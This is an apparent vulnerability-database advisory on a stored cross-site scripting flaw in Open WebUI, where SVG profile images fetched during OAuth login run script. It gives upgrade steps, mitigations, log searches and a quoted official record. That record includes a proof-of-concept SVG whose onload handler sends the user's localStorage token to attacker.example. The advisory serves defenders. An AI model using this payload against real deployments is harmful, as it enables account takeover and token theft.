Open WebUI profile images can run scripts in user accounts
What this means
An attacker can trick a user into loading a malicious profile image that runs JavaScript code in the user's browser. The attacker can steal the user's authentication token, take over their account, and do anything the user can do in Open WebUI.
SecurityElites Manager Brief: the decision in one minute
Open WebUI accepts SVG images during login via OAuth. SVG files can contain scripts that run in the user's browser. An attacker can inject malicious code that steals login tokens. We need to upgrade Open WebUI to block SVG and other dangerous image types.
| SecurityElites Fix-First Score | 43 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 30 days High severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform or infrastructure team managing Open WebUI deployments. |
| Likely effort | About 15 minutes: download and test version 0.9.5, upgrade the deployment, restart the service, and check that the fix is in place. Longer if you need to coordinate across multiple environments or if rollback testing is required. |
Questions to ask your team or supplier
- Do we know which versions of Open WebUI are running in production, and have we confirmed they are all before 0.9.5?
- Is OAuth login enabled in our Open WebUI deployments, and if so, what OAuth providers do we trust?
- Have we checked the user database for any suspicious profile images stored as data URIs with dangerous MIME types, and do we have a process to audit or clean those records?
Message you can forward to the owning team
Security notice: Open WebUI profile images can run scripts in user accounts (CVE-2026-56398)
Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: upgrade to open-webui 0.9.5 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-56398-open-webui-profile-images-can-run-scripts-in-user/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-00819What is at stake in your AI setup
- Keys for OAuth providers and authentication tokens stored in `localStorage`: an attacker with account access can steal these and impersonate the user in AI service calls.
- Chat history and conversation logs: once a user account is taken over, an attacker can read all prior conversations, which may contain sensitive prompts or data.
- Connected tools and integrations: if Open WebUI is connected to external AI models, APIs, or databases, the attacker can use the compromised account to access and potentially exfiltrate data or manipulate those systems.
Who is exposed
- Teams running Open WebUI with OAuth login enabled (highest risk).
- Teams where users can be tricked into clicking profile image URLs.
- Any deployment where security headers (CSP, X-Content-Type-Options) are not manually set.
- Teams not running Open WebUI are not affected.
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| open-webui PyPI | Every version before 0.9.5 | 0.9.5 or later |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | No known attacks and no public attack code when CISA last reviewed it |
|---|---|
| Where the attacker must be | Anywhere that can reach it over a network, including the internet if it is exposed |
| Account needed | An ordinary user account |
| Does a person have to do something | Yes. Someone has to click, open or approve something |
| How hard it is to do | Easy. It works reliably once the attacker can reach it |
| Risk of: data being read | High |
| Risk of: data or settings being changed | High |
| Risk of: the service being taken down | None |
| Can attackers automate it at scale | No, according to CISA. Each target needs manual work |
| How much control an attacker gains | Partial control, according to CISA |
Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Kind of coding mistake
- CWE-20: input is not checked properly
- CWE-79: script can be injected into a web page
If you cannot upgrade today
- Disable OAuth login temporarily and use local authentication only until the upgrade is complete.
- If you have database access, manually reset all profile images to defaults: set `profile_image_url` to `NULL` or `/user.png` for all users.
- If security headers can be set at the reverse-proxy or web server level, add `Content-Security-Policy: default-src 'self'; script-src 'self'` and `X-Content-Type-Options: nosniff` to block inline scripts and MIME confusion.
Signs it may already have been used against you
- Check the `user` table or collection in the database for `profile_image_url` entries containing `data:image/svg+xml` or other dangerous MIME types like `data:text/html` or `data:application/javascript`.
- Review recent authentication logs for new OAuth signups or logins, especially from unexpected sources or with unusual user agents, which may indicate test activity by an attacker.
- Look for JavaScript errors or XSS-related alerts in browser developer console logs (if you have access to user telemetry) around the time of profile image loads.
- Monitor for unusual token usage patterns: session activity that does not match known user behavior or logins from unexpected IP addresses shortly after OAuth login.
Log searches to start from
Profile image endpoints returning SVG or script-like MIME types (adapt field names for your logs)Splunk
sourcetype=webui_access path="/api/v1/users/*/profile/image" status=200 | stats count by http_response_header_content_type | search http_response_header_content_type=*svg* OR http_response_header_content_type=*javascript* OR http_response_header_content_type=*html*Profile image requests where response Content-Type indicates a script or SVG (adapt field names for your logs)Elastic
path:*"/api/v1/users/*/profile/image" AND (response.headers.content_type:*svg* OR response.headers.content_type:*javascript* OR response.headers.content_type:*html*) | stats count by response.headers.content_typeWritten with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.
SecurityElites Fix Guide: step by step
- Find where Open WebUI is installedCheck how Open WebUI is deployed: Docker container, Python virtual environment, or cloud service. Note the current version by running `pip show open-webui` (if Python) or checking the Docker image tag and running the container to get version info.
- Check if OAuth login is enabledReview the Open WebUI configuration or environment variables for OAuth settings (usually `OAUTH_PROVIDERS` or similar). If OAuth is not configured, the risk is lower but the upgrade is still important.
- Test the upgrade in a non-production environmentIf you have a staging or test instance, upgrade it first to 0.9.5. Log in via OAuth and verify that profile images still load correctly and that no errors appear in logs.
- Upgrade Open WebUI to version 0.9.5 or laterUse your package manager or deployment tool. For Python: upgrade the `open-webui` package. For Docker: pull the new image tag. Follow your normal change-management process.
- Restart the Open WebUI serviceStop and start the service to load the fixed code. Wait for it to be fully ready (check health endpoint or logs).
- Verify the fix is activeCheck the running version matches 0.9.5 or later. Review the code at `backend/open_webui/utils/oauth.py` to confirm it now validates MIME types. Test OAuth login with a test account if possible.
- Check if malicious profile images were created before the fixQuery the database for profile images in the `data:` URI format: look for any that contain `svg`, `javascript`, `data`, or other script-capable MIME types. If found, manually delete them or set all profile images to defaults.
- Optionally harden with security headersEven with the upgrade, enable CSP and `X-Content-Type-Options: nosniff` headers in your deployment if possible. This adds a second layer of defense. Check your environment variables for `ENVIRONMENT` or header configuration options.
How to confirm it is fixed: After upgrading to version 0.9.5, confirm the version with `pip show open-webui`, restart the service, and verify that the OAuth login flow no longer accepts SVG or other non-image MIME types by checking the validator code in `backend/open_webui/utils/oauth.py
SecurityElites Quick Fixes: copy and paste
Upgrade open-webui with pipupgrade
pip install --upgrade "open-webui>=0.9.5"
pip show open-webui | grep VersionPin it in requirements.txtupgrade
open-webui>=0.9.5Check Open WebUI version (Python environment)for this issue
pip show open-webui | grep VersionList profile images stored as data URIs in database (requires direct DB access)for this issue
SELECT id, profile_image_url FROM user WHERE profile_image_url LIKE 'data:%' AND profile_image_url LIKE '%svg%';Check if OAuth is configured (Linux/bash)for this issue
env | grep -i oauthRequire token-based metadata on an AWS instancegeneral hardening
aws ec2 modify-instance-metadata-options \
--instance-id i-XXXXXXXXXXXX \
--http-tokens required --http-put-response-hop-limit 1Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
Let your AI coding assistant do the upgrade
Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.
Instruction for your coding assistant
You are helping me fix a security vulnerability (CVE-2026-56398) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n - open-webui (PyPI): must be 0.9.5 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## Open WebUI profile images can run scripts in user accounts (CVE-2026-56398)
**Severity:** High | **SE Fix-First Score:** 43/100 | **Fix window:** Within 30 days
**Record:** SE-AIV-00819 https://securityelites.com/ai-vulnerabilities/cve-2026-56398-open-webui-profile-images-can-run-scripts-in-user/
### Why this matters
An attacker can trick a user into loading a malicious profile image that runs JavaScript code in the user's browser. The attacker can steal the user's authentication token, take over their account, and do anything the user can do in Open WebUI.
### What to do
1. Find where Open WebUI is installed: Check how Open WebUI is deployed: Docker container, Python virtual environment, or cloud service. Note the current version by running `pip show open-webui` (if Python) or checking the Docker image tag and running the container to get version info.
2. Check if OAuth login is enabled: Review the Open WebUI configuration or environment variables for OAuth settings (usually `OAUTH_PROVIDERS` or similar). If OAuth is not configured, the risk is lower but the upgrade is still important.
3. Test the upgrade in a non-production environment: If you have a staging or test instance, upgrade it first to 0.9.5. Log in via OAuth and verify that profile images still load correctly and that no errors appear in logs.
4. Upgrade Open WebUI to version 0.9.5 or later: Use your package manager or deployment tool. For Python: upgrade the `open-webui` package. For Docker: pull the new image tag. Follow your normal change-management process.
5. Restart the Open WebUI service: Stop and start the service to load the fixed code. Wait for it to be fully ready (check health endpoint or logs).
6. Verify the fix is active: Check the running version matches 0.9.5 or later. Review the code at `backend/open_webui/utils/oauth.py` to confirm it now validates MIME types. Test OAuth login with a test account if possible.
7. Check if malicious profile images were created before the fix: Query the database for profile images in the `data:` URI format: look for any that contain `svg`, `javascript`, `data`, or other script-capable MIME types. If found, manually delete them or set all profile images to defaults.
8. Optionally harden with security headers: Even with the upgrade, enable CSP and `X-Content-Type-Options: nosniff` headers in your deployment if possible. This adds a second layer of defense. Check your environment variables for `ENVIRONMENT` or header configuration options.
### Done when
- [ ] open-webui is at 0.9.5 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] After upgrading to version 0.9.5, confirm the version with `pip show open-webui`, restart the service, and verify that the OAuth login flow no longer accepts SVG or other non-image MIME types by checking the validator code in `backend/open_webui/utils/oauth.py
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Change history
- 14 May 2026: Made public
- 1 Dec 2026: Published
Official record
# SummaryWhen a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`.The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover.Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.# Details## 1. MIME inferred from URL extension, not Content-Type`backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`:```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ```No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`.## 2. OAuth path bypasses the profile-image validator`backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`.This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.## 3. Endpoint serves attacker-controlled MIME with `inline` disposition`backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`:```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ```No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it.## 4. No default CSP / nosniff`backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script.# PoC**Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL.1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`:```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ```2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_ur
Weakness type: CWE-20, CWE-79
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-56398For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 16 Jul 2026. Read the vendor advisory before changing a production system.